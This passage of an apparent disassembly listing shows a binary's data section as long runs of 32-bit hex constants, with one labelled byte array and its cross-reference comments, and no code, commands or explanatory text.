		dd 26698E68h, 2420115h,	0C3317296h, 872F5A29h, 0F2F8FB69h
		dd 35B59261h, 413F61E0h, 75D46Eh, 2810F7BDh, 0F3DF6181h
		dd 0D1721A97h, 9FA82632h, 933E01BEh, 9D916873h,	278136FAh
		dd 0A7A182F5h, 58613886h, 84F32D8Ch, 0BAA5148h,	79C1D913h
		dd 61BB3E28h, 26123997h, 21D01CD1h, 7A76954h, 31A3FDAAh
		dd 62C4DF15h, 25ECE0h, 6DC137E6h, 32FCEA35h, 5AADF94Dh
		dd 6ECB3DBFh, 0FA5E792Ah, 413C792Ch, 1DA37AFAh,	3269EA02h
		dd 895E250Ch, 0B02DBC09h, 5052A7DCh, 5AB68397h,	3000413Ah
		dd 0EC2E2B4Ch, 4BC05F94h, 936A2AC2h, 20909149h,	0F50CD308h
		dd 0E99644E5h, 0A5B010F7h, 0EB545A27h, 3509BF20h, 5E2E287Dh
		dd 0C425BB8Bh, 0F5A503D1h, 52AA3C4Bh, 0F4ECEC75h, 0BFDC9A47h
		dd 0FCCBACD1h, 440CCCB6h, 479A0516h, 12019EADh,	1808741h
		dd 0AAED5CDDh, 606FF26Fh, 0B91AED4Dh, 9F2C35AFh, 403407E0h
		dd 0C57ED9F5h, 9D8008A0h, 129D4973h, 60564048h,	0E1373CBFh
		dd 1267D1AEh, 8C61FFA7h, 0E62A5921h, 0C2E90DAAh, 0B03E477Eh
		dd 4C690D4Ah, 1FB47D10h, 0F12985B7h, 305CFB4Ah,	0D63F4B8Bh
		dd 50F7649Fh, 52A9A499h, 7D29CB18h, 20B65AD0h, 0A2E4162Dh
		dd 11B375E3h, 6996F3B4h, 41BA420Ch, 4CEA6259h, 0B652126Ch
		dd 0C5E0EF18h, 1BCEE665h, 4DEF669h, 28CC50D7h, 852DE9F3h
		dd 609BD430h, 7FEE77CFh, 5FB9D0B7h, 6882305Ah, 98B52E35h
		dd 9C394EC8h, 3D4861FCh, 77FC605Ch, 7B71054Bh, 0F33E23D2h
		dd 32A811F2h, 0A42A4212h, 38269499h, 730C461Fh,	185E2027h
		dd 2D0CC268h, 8A9E3661h, 0AC66FFE9h, 0A8F7BE04h, 0B4AFE459h
		dd 3AD45143h, 0CEA920Fh, 350E6424h, 6790D200h, 68E0D302h
		dd 9319BC33h, 5EAF4B37h, 82E4FF84h, 6277CFA2h, 2381D761h
		dd 2855C201h, 6F68C1B0h, 4A409A33h, 0B755DCE9h,	68C3EBF1h
		dd 0EDD65FFCh, 0F494A277h, 75BB0153h, 614FBA23h, 0C2A2F021h
		dd 7433CBD5h, 2543492h,	733E6809h, 7121DB58h, 446BAFD9h
		dd 0EBC84480h, 35FD8E8Dh, 5BB3C755h, 0CF309892h, 74525927h
		dd 55684747h, 0B655E6Dh, 0DC79235Eh, 4FE4E984h,	0B29977EEh
		dd 0C75D9D06h, 68153F2Eh, 5D76C0CBh, 4A6F0AD7h,	6D9FF08Fh
		dd 0DAEA3973h, 753BAF09h, 0A3AC1894h, 0D154E92Dh, 5C888205h
		dd 0AC400187h, 0C99723DDh, 0AB82C562h, 0EE3052B6h, 0A8B28186h
		dd 9C674920h, 8C58E78h,	0AFF06B29h, 0E90606C1h,	279CF4D6h
		dd 49D09ED8h, 0F255455Fh, 0F4D0829Bh, 36DD27C3h, 0E3E91701h
		dd 9EDFA859h, 0D2808D12h, 720C9CB8h, 0A0BD3457h, 0BF13EB0Bh
		dd 0B3FFD412h, 68558B16h, 0BFFE26A7h, 7D726556h, 0C3F51C42h
		dd 0E51CECF4h, 5F91A9F7h, 2258F8A6h, 35BE292Ch,	70A5E96Fh
		dd 0EF8824AFh, 0EF79133Dh, 7C61FC39h, 30EE2354h, 0FCC2BB14h
		dd 0DE1F192Dh, 25682C39h, 483C477h, 5DE967ABh, 0C433FD28h
		dd 1280EF29h, 1C346AECh, 0BDFD3166h, 0D97BB774h, 6CB85000h
		dd 0FD2F0D69h, 0C5BA9844h, 6148BC66h, 0E2E1870Ah, 5D8B7774h
		dd 0B84F9196h, 0F1809BEEh, 0C365F699h, 3E20C1E5h, 0CDC6B54Ch
		dd 102BF534h, 8DE9F0EBh, 70974E92h, 5856483Fh, 0E33DDC13h
		dd 2C2E79B6h, 0E280D16Ch, 0A9F28102h, 3FB5267Ch, 73893916h
		dd 0CBD6239Eh, 0F29312Fh, 0A7896C24h, 19AFA7FDh, 0B410FDE9h
		dd 0CFA6668Ah, 0D996F5E0h, 98EB76C4h, 3470AF60h, 0D5BF38E1h
		dd 0BE560168h, 2CA85C4Ch, 5882A42Ah, 0E2413FDFh, 93F0E3Ah
		dd 7A95F16Eh, 0BFD29BB2h, 42808D74h, 5C93196Eh,	6B04150Fh
		dd 0FB309B1Ah, 0D6CAFBD2h, 0C9E79F90h, 0E675FDEDh, 6EB126D3h
		dd 0FA3A92BCh, 12DB7A8Ch, 0FACA4143h, 77212AF4h, 465E30C7h
		dd 501E8DFh, 0E18C8909h, 35B9F048h, 11E6B3Bh, 617CB920h
		dd 0FF2A8630h, 9511B62Dh, 361B4423h, 4DE7FB84h,	48C2C86Eh
		dd 61FE172Dh, 50FA08A0h, 7BBD6870h, 0AE539302h,	0AB4E328Ah
		dd 32E96F9Ch, 0C367425Ch, 0CDEADFFh, 0FEEA947Fh, 0F009F20Fh
		dd 12DC5F2Ch, 935FB961h, 246203E0h, 1681996Eh, 0FEA5E0EEh
		dd 0F580CD01h, 52B35379h, 4C6F3D8h, 66E9DD20h, 0D396BDD5h
		dd 0FB2B23B1h, 75EDE232h, 0C3049FA9h, 7A2D16D9h, 0ACA5F368h
		dd 6074B1FFh, 20DFB67Fh, 4CCB90E7h, 0F673B992h,	9E4D4C21h
		dd 7F42A6D3h, 0C39DB24h, 0F7B8DCC4h, 0ECEA8100h, 29614668h
		dd 87ADA68h, 850EE90Ch,	64B925Dh, 295756E3h, 51401CCBh
		dd 2098B05Bh, 40C1DA55h, 4FD96246h, 73B7A22Ah, 100C2158h
		dd 0C009895Ah, 847F06E7h, 0F747D76Fh, 5BF803FBh, 9A81685h
		dd 0EE524912h
		db 0Fh
byte_530055	db 22h,	26h, 95h	; DATA XREF: ___:off_42AC04o
					; ___:off_42AC1Co
		dd 2EF2640Ah, 842C0513h, 2A6B545Eh, 600C6017h, 75573EDCh
		dd 49C7265Bh, 0D98AA811h, 0BC3BD13Fh, 7281046Ch, 0BE2EA5B2h
		dd 0BA11AD29h, 35514B93h, 0D8F55B56h, 1A05217Ah, 4BB05D4h
		dd 2817120h, 0C140478Fh, 387A2040h, 0C086EA14h,	37ABE6Dh
		dd 0F5F06E07h, 50815E4Ah, 3624DC5h, 516AE93h, 4EA6E715h
		dd 912BA4A1h, 7BC0B52Fh, 871FA1FDh, 0AC0F65EBh,	3B4B0EF9h
		dd 7DC3F200h, 4FB50271h, 1B2B429h, 2704FABDh, 65D96AFFh
		dd 0BAF6C0CEh, 0F82B2854h, 2E6C09E6h, 0B17061FFh, 0AC8CE913h
		dd 8FC7B84Fh, 4EFA2647h, 39C3073Bh, 64082262h, 0B045AEEBh
		dd 50B0F8E9h, 77450035h, 0C6053860h, 2B4B3DC0h,	0CB2747B8h
		dd 90B49AF8h, 49A76878h, 75807576h, 0E90C5458h,	1AC77F78h
		dd 0C7743E04h, 0A26E16AAh, 0A3BB9257h, 4BFED79Eh, 0C4F75C81h
		dd 1F372004h, 0A5685B0Ch, 5DDA2D7Fh, 7A02AB4Eh,	0F330DFB3h
		dd 0B09D587Dh, 9D8A5E9Ah, 4E7726ADh, 7501C8F8h,	21F623EDh
		dd 0C4C1FA6Fh, 0E820564h, 8DC7D13Fh, 2A1A4267h,	4E4658A4h
		dd 0CA7D664Bh, 4F5C5401h, 1532E935h, 84F0A72Bh,	0E2570FF0h
		dd 0D5E9C48Ah, 9B5E23A8h, 29EE4A6Eh, 0B3AD2FABh, 8651ACA5h
		dd 33EB1E8Dh, 0DD7330B5h, 0D15EE50Fh, 76D0ABEEh, 0D9AAC32Dh
		dd 6444357Dh, 0B3665A1Fh, 392F79A4h, 262C77DBh,	601FE7AEh
		dd 0A8921A84h, 0EA03BFB9h, 0F334EA5h, 8457C3D9h, 5307E533h
		dd 5B42C8AEh, 6B607695h, 674509FDh, 0EB6696B6h,	540ADAD1h
		dd 137C43ADh, 981B9A0Bh, 12526637h, 832836B2h, 0D91670A7h
		dd 858C3EC6h, 0DECF04C9h, 0EFEF8173h, 2294F4Bh,	5CD7A4F0h
		dd 3DA6E14h, 56989A70h,	0A91DBC1Eh, 0F2685300h,	785A3C21h
		dd 0E9DA095Bh, 795524D4h, 66166B19h, 0C28ED69Dh, 0FAFD9667h
		dd 54A70A44h, 2DDF236Bh, 0C58A4D50h, 93867DFh, 29D19E90h
		dd 85A5F1ADh, 0BA01C768h, 0AD2EAE69h, 5795C6A7h, 66E2970Eh
		dd 0C351E27Dh, 2736E90Fh, 0DA92403Fh, 0D1410778h, 1243EB31h
		dd 0ADE194C0h, 9DECF820h, 0F4685B48h, 4893531Fh, 28F0E212h
		dd 30D81EB3h, 828753E3h, 89556618h, 6BA4F592h, 2413BA4Fh
		dd 0AA6B56EBh, 7708201Ah, 3B2B10E1h, 0FC66AF9h,	0F5079F1Dh
		dd 72167476h, 4A69CCB2h, 1B61F57Fh, 85786055h, 7E37E9A1h
		dd 0EDFE544h, 0B892BDF9h, 156710E9h, 0CCD5311Dh, 0BD4CA402h
		dd 35245404h, 0EEE212Ch, 0C9B2B003h, 2578E054h,	24AC2E1h
		dd 0C9CED957h, 0C97465DDh, 0F569A954h, 484FA143h, 1AD0EAAh
		dd 515E08D3h, 0B9E12E38h, 4A17422Fh, 0BA3EFFC8h, 0A772EA8h
		dd 0F7EE9E64h, 0D2E280BFh, 4D58955Bh, 8005304Fh, 761E0A61h
		dd 3BE3F228h, 0C4C8931Dh, 506F7F30h, 0E2B55FB0h, 4BC2C137h
		dd 39EAD100h, 840FD01Eh, 0CC492D52h, 0C8B17746h, 1D3838E4h
		dd 5ED2E809h, 0CE6E84E1h, 0CC957FEBh, 0ED8125CBh, 9FAA167Dh
		dd 50A7985Dh, 2443FDB8h, 0E918E0F8h, 0B035BA83h, 0F2D8E00Fh
		dd 29A7C27Ah, 0D2805AD7h, 15D006D3h, 849A8BFh, 810D92Fh
		dd 5402EF5h, 0C16F0954h, 96168D2Ah, 0F866C1Eh, 2C5210E3h
		dd 9FA1C6Eh, 89F1F4EEh,	0A25E6350h, 382EF5E1h, 3F4A8C14h
		dd 5CF52D4Bh, 4D5F8F62h, 5145CD00h, 0F7056EBBh,	6E5C1D5h
		dd 9FC8B01h, 0B07F4022h, 5B54259h, 0C5EC5E6Bh, 7CBD5501h
		dd 2AA3E357h, 8E730B92h, 71B7C064h, 4E89DDC1h, 7B97EECEh
		dd 3639100Bh, 685580D3h, 0E8138129h, 150297A4h,	427B7C1Eh
		dd 2796FE4Fh, 0E9786EDCh, 34F54FA6h, 25BEE8CDh,	6021F46Eh
		dd 437371E8h, 7F440CC0h, 925F5EFEh, 27E91669h, 96395DA0h
		dd 0F2171F07h, 0EB75EDC9h, 0B90C4E80h, 3CF0518Ch, 1590B81h
		dd 0DD7C04F2h, 4288EB13h, 52A34AB4h, 930A0543h,	0B823BBAEh
		dd 0CF6303CBh, 7020BCCh, 0FBECF7B0h, 0F4AF822Dh, 5E5C30E2h
		dd 0D1FACA87h, 9A0908D3h, 0AF32555Ah, 55652F56h, 45590380h
		dd 0BD1D1A7Fh, 0E7D80B5Dh, 84C55BBDh, 3262C68h,	1E506FE9h
		dd 0A57E1AFh, 68BC6C9Dh, 64A502CAh, 2BDE25D4h, 305F4ADh
		dd 103B154Dh, 2E9F2B3h,	0EAE0CBE8h, 93287D9Ah, 0DF0B9C57h
		dd 541A4644h, 4A08A075h, 2BE99D5Ah, 6B104DCAh, 0D10E7CDCh
		dd 832CC828h, 0F1C38859h, 5F0349A9h, 18E07E07h,	20C262BAh
		dd 0F83749A1h, 0C4ADA26Eh, 68048676h, 15F2EFB8h, 20F15425h
		dd 3A55BB08h, 0FC423E00h, 0D8CB8150h, 39B23109h, 0B2D7243h
		dd 114A4C25h, 0C0295900h, 5E5C8B48h, 18832063h,	6E4ED80h
		dd 8FDF668Ch, 0D9C77ED3h, 4419D052h, 9F14F855h,	0AF5DAA05h
		dd 802CD82Ch, 0FC8243E5h, 6DC278Ch, 0CA344558h,	27B8FD55h
		dd 5F9FA7F4h, 0D543378Bh, 1B91B2B0h, 0B731369Dh, 0E96228DCh
		dd 2B90E492h, 8D675BCh,	0F52DC0FDh, 0C342B49Ah,	0FBB8B15Dh
		dd 1E2DFB2Eh, 63B6C641h, 93DF7263h, 29C5804Ah, 0C1B6246Fh
		dd 0A0521CCBh, 22703C5Bh, 0E9276D6Ch, 41B8B55h,	29875AF6h
		dd 659192AFh, 7911400Eh, 875A0137h, 0EB49F997h,	149BDD20h
		dd 27257B09h, 45233228h, 0E4CFFB87h, 9D8FAF05h,	0F3331F12h
		dd 72BF007Eh, 4F5AC531h, 8CEF3881h, 83822726h, 369E30E1h
		dd 57F6181Fh, 0F4E91302h, 82FC5C31h, 4D186801h,	0B48708D1h
		dd 0DDB9A16Fh, 0BE0416A9h, 229DBA4Fh, 2778B30h,	0E935A21Fh
		dd 9C773654h, 40AE9867h, 0D54B89AAh, 19625ACh, 0F65CFA0Ch
		dd 0C4E2D862h, 2745232Ch, 6EB4EA00h, 2FE96B20h,	0A4CA4885h
		dd 5BCE0180h, 26FA70CBh, 0CE430C49h, 62615233h,	0D007279Eh
		dd 74DB3E52h, 0F7925F50h, 6C2A7801h, 4D56E930h,	0DE04E079h
		dd 0EEDA1123h, 0B82623BCh, 0DCD2AD6Dh, 1516D013h, 7D950EEh
		dd 0C11DA25Ah, 7E4B3305h, 2DF6E1CAh, 384F0745h,	0D54FCBE9h
		dd 0B92FA794h, 0EF5356CFh, 0C7A81366h, 53778A25h, 52BA0046h
		dd 3CE9503Ah, 7CBDFB92h, 11C15A30h, 0EA126BBCh,	4B3C8BFAh
		dd 0E9E124ACh, 60707C01h, 585CAFF5h, 75DEA2C4h,	0B3E94068h
		dd 0F6EE04BFh, 3FE71681h, 0E506A504h, 1C003ADBh, 8059EE88h
		dd 0FEAD12E6h, 470AB1CEh, 5AF4D04Ch, 5953EB68h,	41B00FE1h
		dd 49C1CE51h, 8723F1CAh, 32E23058h, 0E861B353h,	0A71D7B5Dh
		dd 0D0095B1Ch, 2702D752h, 4677DFFBh, 27CA031Bh,	0F331C9B4h
		dd 3F7C2CFAh, 0FE8EB003h, 0EE044AC8h, 9CC0F1Fh,	1BB3CEDh
		dd 317E0221h, 3C644F68h, 52B4D655h, 0C73F4DE9h,	0D8D34A7Dh
		dd 0F3048101h, 0C884FE7h, 4584F7C0h, 0BD414BC7h, 680840E7h
		dd 0B24A5C25h, 10ECDD97h, 0FFA7C54Bh, 22D7662Dh, 916CD44h
		dd 0B4571DFh, 0D8C91E40h, 0FDB86503h, 0E9693405h, 594CF327h
		dd 17F042DAh, 7D95264Ch, 34ACD236h, 1D986813h, 0A1FA2664h
		dd 7317208Dh, 4623160Ch, 12085829h, 0A87C015Eh,	5011D044h
		dd 688049BEh, 9989F186h, 0B3FD3436h, 4AC5D11Ah,	0A515672Bh
		dd 0CD5BA40Eh, 6629730Fh, 77DF6417h, 189531EBh,	11AC7EF7h
		dd 0F0F5EBB5h, 0DBFAD17Bh, 55FC045Eh, 25367715h, 0CBDFBA4Eh
		dd 0BB85C712h, 88407EE6h, 4A57120Dh, 0F54D0143h, 0D80E4944h
		dd 7901ABE6h, 0CE872C6Ah, 137BE0E9h, 3691BA46h,	43230A83h
		dd 0E5D0512Fh, 0F75AAB30h, 2471C9C5h, 2DA308Bh,	8A3FF943h
		dd 98046B75h, 486A6145h, 0D90B4D12h, 0B07A055h,	0FB564BE6h
		dd 0C9058C8Fh, 5665E47h, 0BF19614Ah, 1DC202D0h,	0DBCE4126h
		dd 0A0D099A0h, 94DA97h,	3512B7AFh, 0E3E9C121h, 0C3953363h
		dd 17B5D9ACh, 800B74F6h
		dd 67F0464Ch, 0E917EF29h, 0FDD2F265h, 2DE75028h, 0C643E2BBh
		dd 2BEA25D1h, 5557AC8h,	0EF019D68h, 0A188BB2Dh,	71186EEBh
		dd 23FDB1C1h, 58E03885h, 4AE2069h, 5E5551BFh, 0A4FAC02Bh
		dd 1E5F1F76h, 2CF47A0h,	16F24B73h, 5F5046E9h, 0F013834Fh
		dd 1A104FBCh, 5B507815h, 0E65EF6BBh, 6AB9EEB8h,	0DF046CE7h
		dd 0AFF3ECE9h, 6A54EB4Bh, 1A926163h, 485A6601h,	864F30FBh
		dd 4F905D5h, 0D1C98794h, 0BBF486C2h, 78825E2Dh,	66975E9h
		dd 54FF087h, 501B2CDFh,	0FE2B845Ah, 409BFF0Ch, 2F1D1809h
		dd 27BA261Eh, 4370C82Fh, 814F5D1h, 0DAFC7266h, 1EB7895h
		dd 78F53A5Fh, 551F82E9h, 76A4BA97h, 9930541Eh, 576013EEh
		dd 73550422h, 85AE1232h, 8D52BA70h, 97CBC6B2h, 0C6E2282Ch
		dd 0D5F7D09h, 0B7C28629h, 98EA035Bh, 1374E13h, 6FA3C1B4h
		dd 0F722E00Fh, 0E0D1D000h, 15CD882Dh, 0CE2EDE84h, 0ABF3C568h
		dd 1E089750h, 0F967E958h, 3FDEA5ACh, 0D14CF752h, 0F9474195h
		dd 2530B62Ah, 8F6F0229h, 39F35FA4h, 0F2F1328Bh,	0B8122006h
		dd 1475B58h, 0DA04D0F6h, 0D8D82F34h, 0B1510F66h, 0ACDD28A2h
		dd 0D4EB09A6h, 0EBC4507Dh, 0FAD7D232h, 0F746C409h, 8AB42410h
		dd 0F170EB5h, 0D93297F3h, 0D5562C02h, 1082EB84h, 6F0D688Ah
		dd 0B72D40ECh, 33857DE7h, 4B5950Ah, 0FE44CDB5h,	792D068Ah
		dd 0FB895185h, 0F4D2F467h, 0C5CC77B3h, 0B65250Bh, 3E1A5CB9h
		dd 5705EB0Fh, 0D87050E9h, 8370F494h, 24139D66h,	200C8A16h
		dd 192704B4h, 0C7EC378h, 420BC1F4h, 0BEA03CD6h,	0F22EA9BAh
		dd 24662F1h, 1AD667CCh,	0A46CD529h, 165D0C82h, 4B584C94h
		dd 4CCC4E2Fh, 0B48B2D82h, 9054B542h, 94600B58h,	776870A1h
		dd 0A493124Bh, 5A0A2541h, 0E64F3A59h, 71E453Eh,	804F4905h
		dd 69E8A71Dh, 4A9D4723h, 0A0B3EA85h, 935CED5Fh,	9F7F06FFh
		dd 0B3253316h, 94E39456h, 63E9C2C6h, 0BE0160FEh, 6FAB72EDh
		dd 0BC1D056Ah, 8E8EEFEAh, 6066337Eh, 0A8955CDDh, 5F95C1B1h
		dd 0DF601697h, 9A141DE2h, 74E58107h, 8419E627h,	7672D90Ch
		dd 98F5E1C3h, 0C11C4E6Eh, 0E41DB218h, 9C222A29h, 9A15C057h
		dd 0B04BEA28h, 0EC6F4C12h, 0CD17C292h, 0D697D1F8h, 2A1709DFh
		dd 68E18AF6h, 0D5C22BC8h, 5CC6D959h, 0BE682DBFh, 1D0A1673h
		dd 8969F944h, 382BF539h, 0A9BBFB60h, 85A84082h,	21F03E6Eh
		dd 0FA59CF97h, 2A8CD2C0h, 0E9784A4Bh, 5EDF852Bh, 5669D24Eh
		dd 284A3ADh, 41F6402Eh,	0F7AADFBCh, 1762EBD6h, 0ABE15379h
		dd 4A650C88h, 678AFFA2h, 6703FE4Eh, 3E538CE9h, 4B81E223h
		dd 0EAC17AD0h, 0BE128307h, 0FF7D3F1Ch, 95F2B290h, 0B7FBB0F4h
		dd 6F291649h, 2FDD6FC2h, 6104E3C2h, 0CFD2405Dh,	0AE72D71Eh
		dd 0EA104844h, 0F7100FF9h, 5E052F90h, 3C60A726h, 0BE808FCEh
		dd 3F251639h, 381C0717h, 0FC588E61h, 0BA2F930Eh, 2591FCC6h
		dd 0A0083574h, 0CDAE2E25h, 7CE47FAAh, 0D69D25E9h, 3C42C1D1h
		dd 670D0015h, 7A00EC45h, 663F8735h, 1799055Fh, 0AB918231h
		dd 0D5012501h, 0F168A5E9h, 78A1BB01h, 704B6E7Ch, 0DA3FEBF7h
		dd 0F84DADE3h, 0EE892DC3h, 0F171E054h, 0B590BD7Ah, 77B2A722h
		dd 74D25A29h, 0BA5C552Fh, 50328154h, 62CA2CA2h,	0C078D5B3h
		dd 33EE409Fh, 0A71A973Eh, 2C1344C1h, 0F25A2C6Bh, 0ED0FAE02h
		dd 98E8DF79h, 197BF4E7h, 0DD757458h, 5908434Bh,	0F074AF36h
		dd 980E8191h, 0BED2D76Eh, 0C4167B6h, 98EF6E44h,	0B2BAFCF6h
		dd 0DAB9512Fh, 762780CEh, 5CEB2870h, 79DE09E7h,	0E2090998h
		dd 7523DF6h, 8F907848h,	543E683Dh, 952EEE29h, 1C57DA62h
		dd 0EE29D7Fh, 8E7A7EF4h, 0B45B3057h, 80B2151Fh,	2CFC8839h
		dd 5B58CBE1h, 2AC84830h, 0A62FBB55h, 75D20087h,	0D14E6950h
		dd 59D2B7E6h, 5F145A05h, 0BF16012Dh, 0F391B08h,	8140EA83h
		dd 88330EF2h, 0C7043190h, 6ADD4EA2h, 482E1BBh, 0AE55C08h
		dd 9955209h, 0BAD51B82h, 3DC155C9h, 9D0B305Ah, 98D8D882h
		dd 90C65F30h, 6A390C7Dh, 58680D12h, 0A86471AFh,	2A937A15h
		dd 57FEE2EFh, 88238F45h, 620BBC24h, 4F7B712Ah, 0F237C784h
		dd 1A84C5Ch, 2C403C9Eh,	3F30E5C1h, 4E120EF5h, 537789h
		dd 5DE2DE2h, 0F7953A59h, 4625D838h, 0AC33500h, 3C1C570Dh
		dd 0B455647Fh, 5A90F022h, 430B58D2h, 75C4E2CBh,	0CEECEE59h
		dd 276C9853h, 0CCA35CDh, 93BD12DEh, 0D34263B5h,	0C0E12AB7h
		dd 0BFCA8719h, 4F807B90h, 0CEE4F782h, 7267E1F4h, 5661BD14h
		dd 923F8939h, 995FDD8Fh, 0C7554A2Ah, 0F9C7E1Fh,	490D20C0h
		dd 2E435F11h, 85AC6AE9h, 9B9C580h, 60763DE7h, 5A706870h
		dd 499E311Eh, 5175C253h, 68E9C16Eh, 0EB5D8ED9h,	375C7EBBh
		dd 0C175783Dh, 0F12F5B7Ch, 3F2D1415h, 0C419D3B4h, 366A0FFh
		dd 0F403BEBEh, 2E176BEFh, 5C38E15Dh, 0B0A1167Ah, 4102E5F3h
		dd 0E3C14491h, 0CA605D08h, 0AD0E3499h, 230BE2Bh, 0D73152D8h
		dd 0FA4E3464h, 0F8EF73C4h, 7C82E46Eh, 73F50950h, 16FF2F16h
		dd 73422CEEh, 67ACC4F0h, 70930585h, 0B8C795Ah, 0EB551BEh
		dd 1A3416D4h, 0FC992DAEh, 0FC823BF0h, 5C110840h, 0F5315D09h
		dd 84A01C9Ch, 40250562h, 77D37A0Eh, 5DBE2DA6h, 0F69F5350h
		dd 2DD0002Bh, 17914786h, 261EFF92h, 29CB1375h, 20416CF3h
		dd 5807305Dh, 4678E181h, 80803DB4h, 248005E7h, 2374159h
		dd 35CC52AFh, 0F25D23C2h, 6B1120E2h, 1025D9Dh, 54614DBAh
		dd 7D5E02CFh, 2BEB4E69h, 5F2594ADh, 0D2D6E929h,	45312924h
		dd 0E46EFE09h, 0A23DEE2Ch, 19C15FECh, 0EA2A9611h, 0E1FA7735h
		dd 426326Ch, 22C35BAAh,	901AE9FAh, 3D85B0Ch, 1BB40FAh
		dd 572F8DB8h, 0CF9AFDD6h, 0F65ABCDEh, 0E6C25166h, 59642FFEh
		dd 7C8B0CC2h, 0BD4A1452h, 0E4F98D0Eh, 7334E057h, 353E9A2Ch
		dd 74544704h, 1C68D7A8h, 0F343008h, 3158950Ch, 8820602h
		dd 0A68A4664h, 269D209Ah, 0BC70F3F6h, 43553C03h, 4C4FFB87h
		dd 844FA906h, 0DD9BEBF9h, 40E5E909h, 0AEC830A4h, 0BBEC95C4h
		dd 512DB64Eh, 52268713h, 0F325C688h, 7E9C89AEh,	8DF94612h
		dd 6309ABE5h, 0EC544602h, 7D360D30h, 8318C16Eh,	0E26BEC12h
		dd 0A5A3F10Ah, 0AE4EB223h, 0EFFC2F24h, 8074C44Fh, 478DBDC4h
		dd 817E9500h, 393CC1CDh, 72E9120Fh, 0C8A4E9F6h,	0E6BB31EAh
		dd 0C78B8309h, 0D4181CEEh, 37F9E0EAh, 0AC1EADBCh, 0F34FE389h
		dd 5A95BF66h, 0FD25A176h, 9E02CF8Bh, 5E0087EDh,	0A05FFA29h
		dd 251ADCF4h, 2ACA22ACh, 0E41C080Ch, 49BE720Fh,	460D6CE9h
		dd 8974A0BAh, 105A5FD7h, 8807F34Ch, 95B3EB84h, 9DA7FFDDh
		dd 0C128E917h, 70F8308Eh, 8AF4C336h, 5FB72052h,	0ED5E45ADh
		dd 9D8D4F1Fh, 906BDECDh, 0BB58DA83h, 0C53A7EBFh, 0E90C04EDh
		dd 5F9DB855h, 0DACB2EE9h, 53508820h, 5695EF88h,	58E3001Ch
		dd 16F38059h, 0D85131F9h, 0CEE183C3h, 0F2AD26C3h, 51452DE8h
		dd 0E95482EEh, 0C5A56C1h, 4E9F2A25h, 753DAA4Ah,	680B42CFh
		dd 61D2D657h, 0EDD08850h, 0BE374421h, 0D107F75Fh, 55E2585Ah
		dd 545AB37h, 440E349Bh,	0D650F094h, 396B24F4h, 42A8171Fh
		dd 168568EDh, 7D7B6398h, 7C66E695h, 0AEC6BDABh,	2A998C2Ch
		dd 1EF68CFh, 0C064CD2Dh, 3BF87E60h, 6618150Eh, 2115F1D6h
		dd 65B53B0Bh, 0A590FA44h, 554F68ADh, 39F9790Eh,	0A858173Bh
		dd 2DFB4A7Ch, 42EE2E21h, 0CB285CBFh, 0B712CF87h, 0A079D6h
		dd 44636EBAh, 0A201455Ah
		dd 42763311h, 0E9BFCADCh, 32E917E8h, 94622B6h, 2660547Dh
		dd 0C26B1EDBh, 0FD2975D4h, 0E95FFBC2h, 5B31681Ch, 8505B36Fh
		dd 0D8FE5BDAh, 0A04A57ADh, 1F24CBFAh, 0E6CB0CBBh, 0BF380147h
		dd 2630D54Eh, 4F38657Ch, 6F4AF0F0h, 0A571E83Eh,	2F4FD67Eh
		dd 7FD07754h, 0C01E8351h, 17043568h, 6BA6FD09h,	757CF51Fh
		dd 0B5B41726h, 7422A7B1h, 57B4DA05h, 941AB90h, 9331A27Bh
		dd 0FF9C75AEh, 6E78AA21h, 4BC20E64h, 25FFA709h,	0FACCDF52h
		dd 89975D94h, 4F096754h, 175F56A0h, 0BF63BC4Ch,	6408F4Dh
		dd 4C44F26Bh, 3F710584h, 0B50126FDh, 0D00A2F3Dh, 8990097Ah
		dd 888D82DFh, 0F90B0F6Ch, 7C27C473h, 0B5E9418Bh, 0A9B83B4Fh
		dd 8FBEA2B4h, 0D455C9E9h, 7968E1D4h, 26606B01h,	7312DF38h
		dd 9CE91609h, 0F47EECF0h, 1D1079A9h, 0E15F2C64h, 0DB45CB2Eh
		dd 0C3AFD1D5h, 0B2801559h, 0F17E296Dh, 9F12F44Ah, 0EEDAE4EAh
		dd 0C07EE441h, 6F7683E3h, 0A37F0B5h, 74B853D1h,	72EE0097h
		dd 0CB296E1Fh, 68081CD0h, 5913141Ch, 0AE04638Bh, 0FA3A1716h
		dd 85E9DCC0h, 5070CE88h, 28D61AC9h, 33DEBD60h, 57609D25h
		dd 72F3CCBh, 0A0F67229h, 2F8F5758h, 1E6883D3h, 0D99D5425h
		dd 7F45C96Eh, 92055816h, 9BBA878Ah, 2F344B5Ch, 5B756B88h
		dd 0F239A808h, 64605F5Bh, 70126D18h, 0CAC65D1Fh, 12017C2h
		dd 0E3FCA9h, 7B23150Ah,	905D5E55h, 41202CCh, 6DE90DF3h
		dd 0E55B274Ah, 383D05CBh, 7B16E7F9h, 14D0CCD0h,	58335E9Fh
		dd 6FB25718h, 0E5D46ECh, 0EF29C52Eh, 0E9B06EF8h, 54B7C8FCh
		dd 276BCFF4h, 51661622h, 0D5F68240h, 2482DD9Dh,	257DB7E0h
		dd 0AC832C5Dh, 0FE0E2607h, 6BC302C9h, 0F2C1D988h, 1E26FCCAh
		dd 1C9BB180h, 8280C9FEh, 66D1F601h, 0D9CED8E1h,	78F1D1D6h
		dd 0C1FEB1FCh, 0E22AD861h, 0D4AC5EC8h, 16E70E4Ch, 0BB4C887Fh
		dd 2A7C51A1h, 39CAB790h, 0E947090Ch, 55AE3C80h,	31B5AEC6h
		dd 92063800h, 0F0CB8137h, 0AF6D4F31h, 24C6C791h, 0EF32747Fh
		dd 1C834280h, 0E7645033h, 820C0325h, 0E2D14A5Ah, 51A8F2CBh
		dd 94B97D6Ah, 0CCAF725h, 0AEBA04h, 6F56CD81h, 0F4085B57h
		dd 0E572F3EFh, 0EB01AA16h, 0BCD09AECh, 0B6171820h, 0E6078086h
		dd 0C557F528h, 8233CE5Ch, 0C441C0C2h, 115893EFh, 414097A0h
		dd 5FFD60F5h, 0F10584CFh, 5DA5C503h, 0CDF2266Ah, 8016242h
		dd 2A9C19E9h, 80F374EBh, 4159B4B1h, 0CC3562B5h,	5A513E78h
		dd 0FFFA0184h, 3E53E832h, 1258129Bh, 9241F2EEh,	4396FAD8h
		dd 40B80035h, 555BB78h,	9C8C125Bh, 225FFBCh, 867B88ABh
		dd 98503894h, 54E4B72Bh, 0B42F897h, 16347A36h, 5506A554h
		dd 0D2656BDh, 2F17E919h, 76243E30h, 0C11B8AFAh,	5FA1685Ch
		dd 2F30302Fh, 4771414Ah, 90BC70B5h, 1393271Bh, 7B22D3C9h
